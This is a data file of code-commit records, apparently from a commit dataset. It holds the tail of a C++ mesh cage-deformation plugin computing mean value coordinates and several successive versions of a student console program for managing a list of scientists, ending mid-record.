QString)));\n}\n\nvoid Surface_DeformationCage_Plugin::mapRemoved(MapHandlerGen *map)\n{\n    disconnect(map, SIGNAL(attributeModified(unsigned int, QString)), this, SLOT(attributeModified(unsigned int, QString)));\n}\n\nvoid Surface_DeformationCage_Plugin::attributeModified(unsigned int orbit, QString nameAttr)\n{\n    if(orbit==VERTEX) {\n        MapHandlerGen* mhg_modified = static_cast<MapHandlerGen*>(QObject::sender());\n        MapSet maps = m_schnapps->getMapSet();\n        AttributeSet attributes;\n        for(MapSet::iterator it = maps.begin(); it!=maps.end(); ++it)\n        {\n            MapHandlerGen* mhg_current = static_cast<MapHandlerGen*>(m_schnapps->getMap(it.key()));\n            attributes = mhg_current->getAttributeSet(orbit);\n            for(AttributeSet::const_iterator attribute = attributes.constBegin(); attribute != attributes.constEnd(); ++attribute)\n            {\n                \/\/On considère la carte modifiée comme étant la cage\n                MapParameters& p = h_parameterSet[mhg_current->getName()+attribute.key()+mhg_modified->getName()+nameAttr];\n                if(p.m_initialized && !p.m_toComputeMVC)\n                {   \/\/Si des coordonnées ont été calculées\n                    if(p.m_linked)\n                    {   \/\/Si les deux cartes sont actuellement liées\n                        CGoGNout << \"Attribute modified catched\" << CGoGNendl;\n                        moveObjectsPointsFromCageMovement(mhg_current, mhg_modified, attribute.key(), nameAttr);\n                    }\n                    else\n                    {\n                        p.m_toComputeMVC = true;\n                    }\n                }\n\n                \/\/On considère la carte modifiée comme étant l'objet\n                p = h_parameterSet[mhg_modified->getName()+nameAttr+mhg_current->getName()+attribute.key()];\n                if(p.m_initialized && !p.m_toComputeMVC)\n                {   \/\/Si des coordonnées ont été calculées\n                    if(p.m_linked)\n                    {   \/\/Si les deux cartes sont actuellement liées\n                        CGoGNout << \"Attribute modified catched\" << CGoGNendl;\n                        moveObjectsPointsFromCageMovement(mhg_modified, mhg_current, nameAttr, attribute.key());\n                    }\n                    else\n                    {\n                        p.m_toComputeMVC = true;\n                    }\n                }\n            }\n        }\n    }\n}\n\nvoid Surface_DeformationCage_Plugin::moveObjectsPointsFromCageMovement(MapHandlerGen* o, MapHandlerGen* c, const QString& objectNameAttr, const QString& cageNameAttr)\n{\n    MapHandler<PFP2>* mh_object = static_cast<MapHandler<PFP2>*>(o);\n    PFP2::MAP* object = mh_object->getMap();\n    MapHandler<PFP2>* mh_cage = static_cast<MapHandler<PFP2>*>(c);\n    PFP2::MAP* cage = mh_cage->getMap();\n\n    VertexAttribute<PFP2::VEC3> objectPosition = object->getAttribute<PFP2::VEC3, VERTEX>(objectNameAttr.toStdString());\n    VertexAttribute<MVCCoordinates> objectCoordinates = object->getAttribute<MVCCoordinates, VERTEX>(\"MVCCoordinates\");\n\n    VertexAttribute<PFP2::VEC3> cagePosition = cage->getAttribute<PFP2::VEC3, VERTEX>(cageNameAttr.toStdString());\n\n    TraversorV<PFP2::MAP> trav_vert_object(*object);\n    for(Dart d = trav_vert_object.begin(); d!=trav_vert_object.end(); d = trav_vert_object.next())\n    {   \/\/Pour chaque sommet de l'objet\n        objectPosition[d] = PFP2::VEC3(0);\n        unsigned int j = 0;\n        TraversorV<PFP2::MAP> trav_vert_cage(*cage);\n        for(Dart dd = trav_vert_cage.begin(); dd!=trav_vert_cage.end(); dd = trav_vert_cage.next())\n        {\n            objectPosition[d] += cagePosition[dd]*objectCoordinates[d][j];\n            ++j;\n        }\n    }\n}\n\nvoid Surface_DeformationCage_Plugin::openDeformationCageDialog()\n{\n    m_deformationCageDialog->updateAppearanceFromPlugin();\n    m_deformationCageDialog->show();\n}\n\nvoid Surface_DeformationCage_Plugin::computeMVCFromDialog()\n{\n    MapHandlerGen* mhg_object = m_deformationCageDialog->getSelectedObject();\n    MapHandlerGen* mhg_cage = m_deformationCageDialog->getSelectedCage();\n    const QString objectNameAttr = m_deformationCageDialog->combo_objectPositionAttribute->currentText();\n    const QString cageNameAttr = m_deformationCageDialog->combo_cagePositionAttribute->currentText();\n    if(mhg_object && mhg_cage && !objectNameAttr.isEmpty() && !cageNameAttr.isEmpty())\n    {\n        computeAllPointsFromObject(mhg_object->getName(), mhg_cage->getName(), objectNameAttr, cageNameAttr);\n    }\n}\n\nvoid Surface_DeformationCage_Plugin::computeAllPointsFromObject(const QString& objectName, const QString& cageName, const QString& objectNameAttr, const QString& cageNameAttr)\n{\n    MapParameters& p = h_parameterSet[objectName+objectNameAttr+cageName+cageNameAttr];\n    if(!p.m_initialized)\n        p.start();\n    if(p.m_toComputeMVC)\n    {   \/\/Si les coordonnées sont à calculer\n        MapHandler<PFP2>* mh_object = static_cast<MapHandler<PFP2>*>(m_schnapps->getMap(objectName));\n        PFP2::MAP* object = mh_object->getMap();\n        MapHandler<PFP2>* mh_cage = static_cast<MapHandler<PFP2>*>(m_schnapps->getMap(cageName));\n        PFP2::MAP* cage = mh_cage->getMap();\n\n        VertexAttribute<PFP2::VEC3> positionCage = cage->getAttribute<PFP2::VEC3, VERTEX>(cageNameAttr.toStdString());\n        if(!positionCage.isValid())\n        {\n            CGoGNout << \"Position attribute chosen for the cage isn't valid\" << CGoGNendl;\n            return;\n        }\n\n        VertexAttribute<PFP2::VEC3> positionObject = object->getAttribute<PFP2::VEC3, VERTEX>(objectNameAttr.toStdString());\n        if(!positionObject.isValid())\n        {\n            CGoGNout << \"Position attribute chosen for the object isn't valid\" << CGoGNendl;\n            return;\n        }\n\n        VertexAttribute<MVCCoordinates> coordinates = object->getAttribute<MVCCoordinates, VERTEX>(\"MVCCoordinates\");\n        if(!coordinates.isValid())\n        {\n            coordinates = object->addAttribute<MVCCoordinates, VERTEX>(\"MVCCoordinates\");\n        }\n\n        Utils::Chrono chrono;\n        chrono.start();\n\n        TraversorV<PFP2::MAP> trav_vert_object(*object);\n        for(Dart d = trav_vert_object.begin(); d!=trav_vert_object.end(); d = trav_vert_object.next())\n        {\n            computePointMVCFromCage(positionObject[d], d, objectName, cageName, positionCage, coordinates);\n        }\n\n        CGoGNout << \"Temps de calcul des coordonnées MVC : \" << chrono.elapsed() << \" ms.\" << CGoGNendl;\n\n        p.m_toComputeMVC = false;\n    }\n}\n\n\/*\n  * Fonction qui calcule les coordonnées MVC d'un point par rapport à une cage\n  *\/\nvoid Surface_DeformationCage_Plugin::computePointMVCFromCage(PFP2::VEC3 pt, Dart vertex, const QString& objectName, const QString& cageName,\n                                                             VertexAttribute<PFP2::VEC3> position, VertexAttribute<MVCCoordinates> coordinates)\n{\n    MapHandler<PFP2>* mh_cage = static_cast<MapHandler<PFP2>*>(m_schnapps->getMap(cageName));\n    PFP2::MAP* cage = mh_cage->getMap();\n\n    PFP2::REAL c;\n    PFP2::REAL sumMVC(0);\n    unsigned int j=0;\n\n    coordinates[vertex].reserve(cage->getNbOrbits<VERTEX>());\n\n    TraversorV<PFP2::MAP> trav_vert_cage(*cage);\n    for(Dart d = trav_vert_cage.begin(); d!=trav_vert_cage.end(); d = trav_vert_cage.next())\n    {   \/\/On calcule les coordonnées par rapport à chaque sommet de la cage\n        c = computeMVC(pt, d, cage, position);\n        CGoGNout << c << CGoGNendl;\n        coordinates[vertex].push_back(c);\n        sumMVC += c;\n        ++j;\n    }\n\n    for(unsigned int i=0; i<j; ++i)\n    {\n        coordinates[vertex][i] \/= sumMVC;\n    }\n}\n\nPFP2::REAL Surface_DeformationCage_Plugin::computeMVC(PFP2::VEC3 pt, Dart vertex, PFP2::MAP* cage, VertexAttribute<PFP2::VEC3> position)\n{\n    PFP2::REAL r = (position[vertex]-pt).norm();\n\n    PFP2::REAL sumU(0.);\n    Dart it = vertex;\n    do\n    {\n        PFP2::VEC3 vi = position[it];\n        PFP2::VEC3 vj = position[cage->phi1(it)];\n        PFP2::VEC3 vk = position[cage->phi_1(it)];\n\n        PFP2::REAL Bjk = Geom::angle((vj-pt),(vk-pt));\n        PFP2::REAL Bij = Geom::angle((vi-pt),(vj-pt));\n        PFP2::REAL Bki = Geom::angle((vk-pt),(vi-pt));\n\n        PFP2::VEC3 ei = (vi-pt)\/((vi-pt).norm());\n        PFP2::VEC3 ej = (vj-pt)\/((vj-pt).norm());\n        PFP2::VEC3 ek = (vk-pt)\/((vk-pt).norm());\n\n        PFP2::VEC3 eiej = ei^ej;\n        PFP2::VEC3 ejek = ej^ek;\n        PFP2::VEC3 ekei = ek^ei;\n\n        PFP2::VEC3 nij = eiej\/(eiej.norm());\n        PFP2::VEC3 njk = ejek\/(ejek.norm());\n        PFP2::VEC3 nki = ekei\/(ekei.norm());\n\n        PFP2::REAL ui= (Bjk + (Bij*(nij*njk)) + (Bki*(nki*njk)))\/(2.0f*ei*njk);\n\n        sumU+=ui;\n\n        it = cage->phi<21>(it);\n    }\n    while(it!=vertex);\n\n    return (1.0f\/r)*sumU;\n}\n\n\n#ifndef DEBUG\nQ_EXPORT_PLUGIN2(Surface_DeformationCage_Plugin, Surface_DeformationCage_Plugin)\n#else\nQ_EXPORT_PLUGIN2(Surface_DeformationCage_PluginD, Surface_DeformationCage_Plugin)\n#endif\n\n} \/\/ namespace SCHNApps\n\n} \/\/ namespace CGoGN\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Fix read-only detection for volumes mounted as read-only<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"console.h\"\n#include <iostream>\n#include <string>\n#include <vector>\n#include \"person.h\"\n#include <algorithm>\n#include \"data.h\"\n#include <cctype>\n#include <ctype.h>\n\nusing namespace std;\n\nConsole::Console()\n{\n\n}\n\nbool Console::validYear(string s)\n{\n    for (unsigned int i = 0; i < s.size(); i++)\n        if (!isdigit(s[i]))\n            return 0;\n    return 1;\n}\n\nvoid Console::getInfo()\n{\n    _pers = _dat.readData();\n    string command;\n    char anotherOne;\n\n    do\n    {\n        menu(command);\n\n        if ((command == \"Add\") || (command == \"add\"))\n        {\n            add(anotherOne);\n        }\n\n        else if ((command == \"View\") || (command == \"view\"))\n        {\n             _pers = _dat.readData();\n             display();\n        }\n\n        else if ((command == \"Search\") || (command == \"search\"))\n        {\n\n        }\n\n        else if ((command == \"Sort\") || (command == \"sort\"))\n        {\n            int sortType = getSort();\n            displaySort(sortType);\n        }\n\n    }while((command != \"Exit\") && (command != \"exit\"));\n}\n\nint Console::getSort()\n{\n    int sort;\n    cout << endl;\n    cout << \"Please enter one of the following commands: \" << endl;\n    cout << \"-------------------------------------------\" << endl;\n    cout << \"1 - sort by alphabetical order\" << endl;\n    cout << \"2 - sort by birthyear\" << endl;\n    cin >> sort;\n\n    return sort;\n}\n\nvoid Console::displaySort(int& sort)\n{\n    if(sort == 1)\n    {\n        _dom.alphabeticSort(_pers);\n        display();\n    }\n    else if (sort == 2)\n    {\n        _dom.ageSorting(_pers);\n        display();\n    }\n    else if (sort == 3)\n    {\n\n    }\n}\n\nvoid Console::display()\n{\n    cout << \"Name\" << \"\\t\" << \"Gender\" << \"\\t\" << \"Born\" << \"\\t\" << \"Died\" << endl;\n    for(unsigned int i = 0; i < _pers.size(); i++)\n    {\n        cout << _pers[i].getName() << \"\\t\";\n        cout << _pers[i].getGender() << \"\\t\";\n        cout <<_pers[i].getBirth() << \"\\t\";\n        if(_pers[i].getDeath() == 0)\n        {\n            cout << \"N\/A\" << endl;\n        }\n        else\n        {\n            cout << _pers[i].getDeath() << endl;\n            cout << endl;\n        }\n\n\n\n\n\n\n\n        \/*cout << _pers[i].getGender() << endl;\n        cout << _pers[i].getBirth() << endl;\n\n        if(_pers[i].getDeath() == 0)\n            cout << \"N\/A\" << endl;\n        else\n            cout << _pers[i].getDeath() << endl;\n        cout << endl;*\/\n    }\n}\n\nvoid Console::menu(string& command)\n{\n    cout << \"--------------------------------------------\" << endl;\n    cout << \"Please enter one of the following commands: \" << endl;\n    cout << \"Add - for adding scientist to the list\" << endl;\n    cout << \"View - for viewing the whole list\" << endl;\n    cout << \"Search - for searching for names in the list\" << endl;\n    cout << \"Sort - for sorting\" << endl;\n    cout << \"Exit - quits\" << endl;\n    cout << \"--------------------------------------------\" << endl;\n\n    cin >> command;\n}\n\nvoid Console::add(char& anotherOne)\n{\n    do{\n        std::string name;\n        char gender;\n        int birth = 0;\n        int death = 0;\n\n        addName(name);\n        addGender(gender);\n        addBirth(birth);\n        addDeath(death, birth);\n        addAnother(anotherOne);\n\n        Person newData(name, gender, birth, death);\n        _dat.writeData(newData);\n\n    }while(anotherOne == 'y' || anotherOne == 'Y');\n}\n\nvoid Console::addName(std::string& name)\n{\n    cout << \"Enter name of scientist: \";\n    cin.ignore();\n    std::getline(std::cin, name);\n}\n\nvoid Console::addGender(char& gender)\n{\n    do\n    {\n        cout << \"Gender (f\/m): \";\n        cin >> gender;\n        if(!(gender == 'm') && !(gender == 'f'))\n            cout << \"Invalid input!\" <<endl;\n    }while((gender != 'f') && (gender != 'm'));\n}\n\nvoid Console::addBirth(int& birth)\n{\n    string birthInput;\n    do{\n        cout << \"Enter year of birth: \";\n        cin >> birthInput;\n        if(!validYear(birthInput))\n        {\n            cout << \"Invalid input!\" <<endl;\n        }\n    }\n    while(!validYear(birthInput));\n    birth = atoi(birthInput.c_str());\n}\n\nvoid Console::addDeath(int& death, int& birth)\n{\n    string deathInput;\n    char status;\n    cout << \"Is the person alive? (Y\/N): \";\n    cin >> status;\n    if(status == 'N' || status == 'n')\n    {\n        do{\n            cout << \"Enter year of death : \";\n            cin >> deathInput;\n            if((!validYear(deathInput)) || (atoi(deathInput.c_str()) < birth))\n            {\n                cout << \"Invalid input!\" <<endl;\n            }\n        }\n        while((!validYear(deathInput)) || (atoi(deathInput.c_str()) < birth));\n        death = atoi(deathInput.c_str());\n    }\n    cout << endl;\n}\n\nvoid Console::addAnother(char& anotherOne)\n{\n    cout << \"Add another? (Y\/N): \";\n    cin >> anotherOne;\n}\n<commit_msg>fallegt<commit_after>#include \"console.h\"\n#include <iostream>\n#include <string>\n#include <vector>\n#include \"person.h\"\n#include <algorithm>\n#include \"data.h\"\n#include <cctype>\n#include <ctype.h>\n\nusing namespace std;\n\nConsole::Console()\n{\n\n}\n\nbool Console::validYear(string s)\n{\n    for (unsigned int i = 0; i < s.size(); i++)\n        if (!isdigit(s[i]))\n            return 0;\n    return 1;\n}\n\nvoid Console::getInfo()\n{\n    _pers = _dat.readData();\n    string command;\n    char anotherOne;\n\n    do\n    {\n        menu(command);\n\n        if ((command == \"Add\") || (command == \"add\"))\n        {\n            add(anotherOne);\n        }\n\n        else if ((command == \"View\") || (command == \"view\"))\n        {\n             _pers = _dat.readData();\n             display();\n        }\n\n        else if ((command == \"Search\") || (command == \"search\"))\n        {\n\n        }\n\n        else if ((command == \"Sort\") || (command == \"sort\"))\n        {\n            int sortType = getSort();\n            displaySort(sortType);\n        }\n\n    }while((command != \"Exit\") && (command != \"exit\"));\n}\n\nint Console::getSort()\n{\n    int sort;\n    cout << endl;\n    cout << \"Please enter one of the following commands: \" << endl;\n    cout << \"-------------------------------------------\" << endl;\n    cout << \"1 - sort by alphabetical order\" << endl;\n    cout << \"2 - sort by birthyear\" << endl;\n    cin >> sort;\n\n    return sort;\n}\n\nvoid Console::displaySort(int& sort)\n{\n    if(sort == 1)\n    {\n        _dom.alphabeticSort(_pers);\n        display();\n    }\n    else if (sort == 2)\n    {\n        _dom.ageSorting(_pers);\n        display();\n    }\n    else if (sort == 3)\n    {\n\n    }\n}\n\nvoid Console::display()\n{\n    cout << \"Name\" << \"\\t\" << \"Gender\" << \"\\t\" << \"Born\" << \"\\t\" << \"Died\" << endl;\n    for(unsigned int i = 0; i < _pers.size(); i++)\n    {\n        cout << _pers[i].getName() << \"\\t\";\n        cout << _pers[i].getGender() << \"\\t\";\n        cout <<_pers[i].getBirth() << \"\\t\";\n        if(_pers[i].getDeath() == 0)\n        {\n            cout << \"N\/A\" << endl;\n        }\n        else\n        {\n            cout << _pers[i].getDeath() << endl;\n            cout << endl;\n        }\n    }\n}\n\nvoid Console::menu(string& command)\n{\n    cout << \"--------------------------------------------\" << endl;\n    cout << \"Please enter one of the following commands: \" << endl;\n    cout << \"Add - for adding scientist to the list\" << endl;\n    cout << \"View - for viewing the whole list\" << endl;\n    cout << \"Search - for searching for names in the list\" << endl;\n    cout << \"Sort - for sorting\" << endl;\n    cout << \"Exit - quits\" << endl;\n    cout << \"--------------------------------------------\" << endl;\n\n    cin >> command;\n}\n\nvoid Console::add(char& anotherOne)\n{\n    do{\n        std::string name;\n        char gender;\n        int birth = 0;\n        int death = 0;\n\n        addName(name);\n        addGender(gender);\n        addBirth(birth);\n        addDeath(death, birth);\n        addAnother(anotherOne);\n\n        Person newData(name, gender, birth, death);\n        _dat.writeData(newData);\n\n    }while(anotherOne == 'y' || anotherOne == 'Y');\n}\n\nvoid Console::addName(std::string& name)\n{\n    cout << \"Enter name of scientist: \";\n    cin.ignore();\n    std::getline(std::cin, name);\n}\n\nvoid Console::addGender(char& gender)\n{\n    do\n    {\n        cout << \"Gender (f\/m): \";\n        cin >> gender;\n        if(!(gender == 'm') && !(gender == 'f'))\n            cout << \"Invalid input!\" <<endl;\n    }while((gender != 'f') && (gender != 'm'));\n}\n\nvoid Console::addBirth(int& birth)\n{\n    string birthInput;\n    do{\n        cout << \"Enter year of birth: \";\n        cin >> birthInput;\n        if(!validYear(birthInput))\n        {\n            cout << \"Invalid input!\" <<endl;\n        }\n    }\n    while(!validYear(birthInput));\n    birth = atoi(birthInput.c_str());\n}\n\nvoid Console::addDeath(int& death, int& birth)\n{\n    string deathInput;\n    char status;\n    cout << \"Is the person alive? (Y\/N): \";\n    cin >> status;\n    if(status == 'N' || status == 'n')\n    {\n        do{\n            cout << \"Enter year of death : \";\n            cin >> deathInput;\n            if((!validYear(deathInput)) || (atoi(deathInput.c_str()) < birth))\n            {\n                cout << \"Invalid input!\" <<endl;\n            }\n        }\n        while((!validYear(deathInput)) || (atoi(deathInput.c_str()) < birth));\n        death = atoi(deathInput.c_str());\n    }\n    cout << endl;\n}\n\nvoid Console::addAnother(char& anotherOne)\n{\n    cout << \"Add another? (Y\/N): \";\n    cin >> anotherOne;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"console.h\"\n#include <iostream>\n#include <string>\n#include <vector>\n#include \"person.h\"\n#include <algorithm>\n#include \"data.h\"\n#include <cctype>\n#include <ctype.h>\n\nusing namespace std;\n\nConsole::Console()\n{\n\n}\n\nbool Console::validYear(string s)\n{\n    for (unsigned int i = 0; i < s.size(); i++)\n        if (!isdigit(s[i]))\n            return 0;\n    return 1;\n}\n\nvoid Console::getInfo()\n{\n    _pers = _dat.readData();\n    string command;\n    string anotherOne;\n\n    do\n    {\n        menu(command);\n\n        if ((command == \"Add\") || (command == \"add\"))\n        {\n            add(anotherOne);\n        }\n\n        else if ((command == \"View\") || (command == \"view\"))\n        {\n             _pers = _dat.readData();\n             display();\n        }\n\n        else if ((command == \"Search\") || (command == \"search\"))\n        {\n\n        }\n\n        else if ((command == \"Sort\") || (command == \"sort\"))\n        {\n            _pers = _dat.readData();\n            int sortType = getSort();\n            displaySort(sortType);\n        }\n\n    }while((command != \"Exit\") && (command != \"exit\"));\n}\n\nint Console::getSort()\n{\n    int sort;\n    string sortInput;\n    do\n    {\n        cout << endl;\n        cout << \"Please enter one of the following commands: \" << endl;\n        cout << \"-------------------------------------------\" << endl;\n        cout << \"1 - sort by alphabetical order\" << endl;\n        cout << \"2 - sort by year of birth\" << endl;\n        cin >> sortInput;\n        if(atoi(sortInput.c_str()) != 1 && atoi(sortInput.c_str()) != 2)\n            cout << \"Invalid input\" << endl;\n    }while(atoi(sortInput.c_str()) != 1 && atoi(sortInput.c_str()) != 2);\n    sort = atoi(sortInput.c_str());\n    return sort;\n}\n\nvoid Console::displaySort(int& sort)\n{\n    _dat.readData();\n\n    if(sort == 1)\n    {\n        _dom.alphabeticSort(_pers);\n        display();\n    }\n    else if (sort == 2)\n    {\n        _dom.ageSorting(_pers);\n        display();\n    }\n}\n\nvoid Console::display()\n{\n    cout << \"Name\" << \"\\t\\t\\t\\t\" << \"Gender\" << \"\\t\" << \"Born\" << \"\\t\" << \"Died\" << endl;\n    cout << \"=====================================================================\" <<endl;\n    for(unsigned int i = 0; i < _pers.size(); i++)\n    {\n        \/\/int nameSize = _p.getNameSize();\n        int nameSize = _pers[i].getNameSize();\n\n        if (nameSize >= 0 && nameSize <= 7)\n        {\n            cout << _pers[i].getName() << \"\\t\\t\\t\\t\";\n        }\n        else if (nameSize >= 8  && nameSize <= 15)\n        {\n            cout << _pers[i].getName() << \"\\t\\t\\t\";\n        }\n        else if (nameSize >= 16  && nameSize <= 23)\n        {\n            cout << _pers[i].getName() << \"\\t\\t\";\n        }\n        else if (nameSize >= 24  && nameSize <= 31)\n        {\n            cout << _pers[i].getName() << \"\\t\";\n        }\n\n        cout << _pers[i].getGender() << \"\\t\";\n        cout <<_pers[i].getBirth() << \"\\t\";\n        if(_pers[i].getDeath() == 0)\n        {\n            cout << \"N\/A\" << endl;\n        }\n        else\n        {\n            cout << _pers[i].getDeath() << endl;\n        }\n    }cout << endl;\n}\n\nvoid Console::menu(string& command)\n{\n    cout << endl << \"--------------------------------------------\" << endl;\n    cout << \"Please enter one of the following commands: \" << endl << endl;\n    cout << \"Add    - for adding scientist to the list\" << endl;\n    cout << \"View   - for viewing the whole list\" << endl;\n    cout << \"Search - for searching for names in the list\" << endl;\n    cout << \"Sort   - for sorting\" << endl;\n    cout << \"Exit   - quits\" << endl;\n    cout << \"--------------------------------------------\" << endl << endl;\n\n    cin >> command;\n}\n\nvoid Console::add(string& anotherOne)\n{\n    do{\n        std::string name;\n        char gender;\n        int birth = 0;\n        int death = 0;\n\n        addName(name);\n        addGender(gender);\n        addBirth(birth);\n        addDeath(death, birth);\n        addAnother(anotherOne);\n\n        Person newData(name, gender, birth, death);\n        _dat.writeData(newData);\n\n    }while(anotherOne == \"y\" || anotherOne == \"Y\");\n}\n\nvoid Console::addName(std::string& name)\n{\n    cout << endl << \"Enter name of scientist: \";\n    cin.ignore();\n    std::getline(std::cin, name);\n}\n\nvoid Console::addGender(char& gender)\n{\n    do\n    {\n        cout << \"Gender (f\/m): \";\n        cin >> gender;\n        if(!(gender == 'm') && !(gender == 'f'))\n            cout << \"Invalid input!\" <<endl;\n    }while((gender != 'f') && (gender != 'm'));\n}\n\nvoid Console::addBirth(int& birth)\n{\n    string birthInput;\n    do{\n        cout << \"Enter year of birth: \";\n        cin >> birthInput;\n        if(!validYear(birthInput))\n        {\n            cout << \"Invalid input!\" <<endl;\n        }\n    }\n    while(!validYear(birthInput));\n    birth = atoi(birthInput.c_str());\n}\n\nvoid Console::addDeath(int& death, int& birth)\n{\n    string deathInput;\n    string status;\n    do\n    {\n        cout << \"Is the person alive? (Y\/N): \";\n        cin >> status;\n        if(!(status == \"N\" || status == \"n\") && !(status == \"Y\" || status == \"y\"))\n            cout << \"Invalid Input!\";\n        if(status == \"N\" || status == \"n\")\n        {\n            do\n            {\n                cout << \"Enter year of death : \";\n                cin >> deathInput;\n                if((!validYear(deathInput)) || (atoi(deathInput.c_str()) < birth))\n                {\n                    cout << \"Invalid input!\" <<endl;\n                }\n            }\n            while((!validYear(deathInput)) || (atoi(deathInput.c_str()) < birth));\n            death = atoi(deathInput.c_str());\n        }\n    cout << endl;\n    }\n    while(!(status == \"N\" || status == \"n\") && !(status == \"Y\" || status == \"y\"));\n}\nvoid Console::addAnother(string &anotherOne)\n{\n    do\n    {\n        cout << \"Add another? (Y\/N): \";\n        cin >> anotherOne;\n        if(!(anotherOne == \"N\" || anotherOne == \"n\") && !(anotherOne == \"Y\" || anotherOne == \"y\"))\n            cout << \"Invalid Input!\" <<endl;\n    }\n    while(!(anotherOne == \"N\" || anotherOne == \"n\") && !(anotherOne == \"Y\" || anotherOne == \"y\"));\n}\n\nstring Console::searchName()\n{\n    string chosenName;\n    cout << \"Who would you like to seach for? \";\n    cin >> chosenName;\n    return chosenName;\n}\n<commit_msg>ná í nýja<commit_after>#include \"console.h\"\n#include <iostream>\n#include <string>\n#include <vector>\n#include \"person.h\"\n#include <algorithm>\n#include \"data.h\"\n#include <cctype>\n#include <ctype.h>\n\nusing namespace std;\n\nConsole::Console()\n{\n\n}\n\nbool Console::validYear(string s)\n{\n    for (unsigned int i = 0; i < s.size(); i++)\n        if (!isdigit(s[i]))\n            return 0;\n    return 1;\n}\n\nvoid Console::getInfo()\n{\n    _pers = _dat.readData();\n    string command;\n    string anotherOne;\n\n    do\n    {\n        menu(command);\n\n        if ((command == \"Add\") || (command == \"add\"))\n        {\n            add(anotherOne);\n        }\n\n        else if ((command == \"View\") || (command == \"view\"))\n        {\n             _pers = _dat.readData();\n             display();\n        }\n\n        else if ((command == \"Search\") || (command == \"search\"))\n        {\n\n        }\n\n        else if ((command == \"Sort\") || (command == \"sort\"))\n        {\n            _pers = _dat.readData();\n            int sortType = getSort();\n            displaySort(sortType);\n        }\n\n    }while((command != \"Exit\") && (command != \"exit\"));\n}\n\nint Console::getSort()\n{\n    int sort;\n    string sortInput;\n    do\n    {\n        cout << endl;\n        cout << \"Please enter one of the following commands: \" << endl;\n        cout << \"-------------------------------------------\" << endl;\n        cout << \"1 - sort by alphabetical order\" << endl;\n        cout << \"2 - sort by year of birth\" << endl;\n        cin >> sortInput;\n        if(atoi(sortInput.c_str()) != 1 && atoi(sortInput.c_str()) != 2)\n            cout << \"Invalid input\" << endl;\n    }while(atoi(sortInput.c_str()) != 1 && atoi(sortInput.c_str()) != 2);\n    sort = atoi(sortInput.c_str());\n    return sort;\n}\n\nvoid Console::displaySort(int& sort)\n{\n    _dat.readData();\n\n    if(sort == 1)\n    {\n        _dom.alphabeticSort(_pers);\n        display();\n    }\n    else if (sort == 2)\n    {\n        _dom.ageSorting(_pers);\n        display();\n    }\n}\n\nvoid Console::display()\n{\n    cout << endl;\n    cout << \"NAME:\" << \"\\t\\t\\t\\t\" << \"GENDER:\" << \"\\t\" << \"BORN:\" << \"\\t\" << \"DIED:\" << endl;\n    for(unsigned int i = 0; i < _pers.size(); i++)\n    {\n        \/\/int nameSize = _p.getNameSize();\n        int nameSize = _pers[i].getNameSize();\n\n        if (nameSize >= 0 && nameSize <= 7)\n        {\n            cout << _pers[i].getName() << \"\\t\\t\\t\\t\";\n        }\n        else if (nameSize >= 8  && nameSize <= 15)\n        {\n            cout << _pers[i].getName() << \"\\t\\t\\t\";\n        }\n        else if (nameSize >= 16  && nameSize <= 23)\n        {\n            cout << _pers[i].getName() << \"\\t\\t\";\n        }\n        else if (nameSize >= 24  && nameSize <= 31)\n        {\n            cout << _pers[i].getName() << \"\\t\";\n        }\n\n        if (_pers[i].getGender() == 'm')\n            cout << \"Male\" << \"\\t\";\n        else if (_pers[i].getGender() == 'f')\n            cout << \"Female\" << \"\\t\";\n\n        cout << _pers[i].getGender() << \"\\t\";\n\n        if(_pers[i].getDeath() == 0)\n        {\n            cout << \"N\/A\" << endl;\n        }\n        else\n        {\n            cout << _pers[i].getDeath() << endl;\n        }\n    }cout << endl;\n}\n\nvoid Console::menu(string& command)\n{\n    cout << endl << \"--------------------------------------------\" << endl;\n    cout << \"Please enter one of the following commands: \" << endl << endl;\n    cout << \"Add    - for adding scientist to the list\" << endl;\n    cout << \"View   - for viewing the whole list\" << endl;\n    cout << \"Search - for searching for names in the list\" << endl;\n    cout << \"Sort   - for sorting\" << endl;\n    cout << \"Exit   - quits\" << endl;\n    cout << \"--------------------------------------------\" << endl << endl;\n\n    cin >> command;\n}\n\nvoid Console::add(string& anotherOne)\n{\n    do{\n        std::string name;\n        char gender;\n        int birth = 0;\n        int death = 0;\n\n        addName(name);\n        addGender(gender);\n        addBirth(birth);\n        addDeath(death, birth);\n        addAnother(anotherOne);\n\n        Person newData(name, gender, birth, death);\n        _dat.writeData(newData);\n\n    }while(anotherOne == \"y\" || anotherOne == \"Y\");\n}\n\nvoid Console::addName(std::string& name)\n{\n    cout << endl << \"Enter name of scientist: \";\n    cin.ignore();\n    std::getline(std::cin, name);\n}\n\nvoid Console::addGender(char& gender)\n{\n    do\n    {\n        cout << \"Gender (f\/m): \";\n        cin >> gender;\n        if(!(gender == 'm') && !(gender == 'f'))\n            cout << \"Invalid input!\" << endl;\n    }while((gender != 'f') && (gender != 'm'));\n}\n\nvoid Console::addBirth(int& birth)\n{\n    string birthInput;\n    do{\n        cout << \"Enter year of birth: \";\n        cin >> birthInput;\n        if(!validYear(birthInput))\n        {\n            cout << \"Invalid input!\" <<endl;\n        }\n        else if (atoi(birthInput.c_str()) > 2016)\n        {\n            cout << \"The scientist is not born yet..\" << endl;\n        }\n\n    }\n    while(!validYear(birthInput) || atoi(birthInput.c_str()) > 2016);\n    birth = atoi(birthInput.c_str());\n}\n\nvoid Console::addDeath(int& death, int& birth)\n{\n    string deathInput;\n    string status;\n    do\n    {\n        cout << \"Is the person alive? (Y\/N): \";\n        cin >> status;\n        if(!(status == \"N\" || status == \"n\") && !(status == \"Y\" || status == \"y\"))\n            cout << \"Invalid Input!\";\n        if(status == \"N\" || status == \"n\")\n        {\n            do\n            {\n                cout << \"Enter year of death : \";\n                cin >> deathInput;\n                if((!validYear(deathInput)) || (atoi(deathInput.c_str()) < birth))\n                {\n                    cout << \"Invalid input!\" <<endl;\n                }\n            }\n            while((!validYear(deathInput)) || (atoi(deathInput.c_str()) < birth));\n            death = atoi(deathInput.c_str());\n        }\n    cout << endl;\n    }\n    while(!(status == \"N\" || status == \"n\") && !(status == \"Y\" || status == \"y\"));\n}\nvoid Console::addAnother(string &anotherOne)\n{\n    do\n    {\n        cout << \"Add another? (Y\/N): \";\n        cin >> anotherOne;\n        if(!(anotherOne == \"N\" || anotherOne == \"n\") && !(anotherOne == \"Y\" || anotherOne == \"y\"))\n            cout << \"Invalid Input!\" <<endl;\n    }\n    while(!(anotherOne == \"N\" || anotherOne == \"n\") && 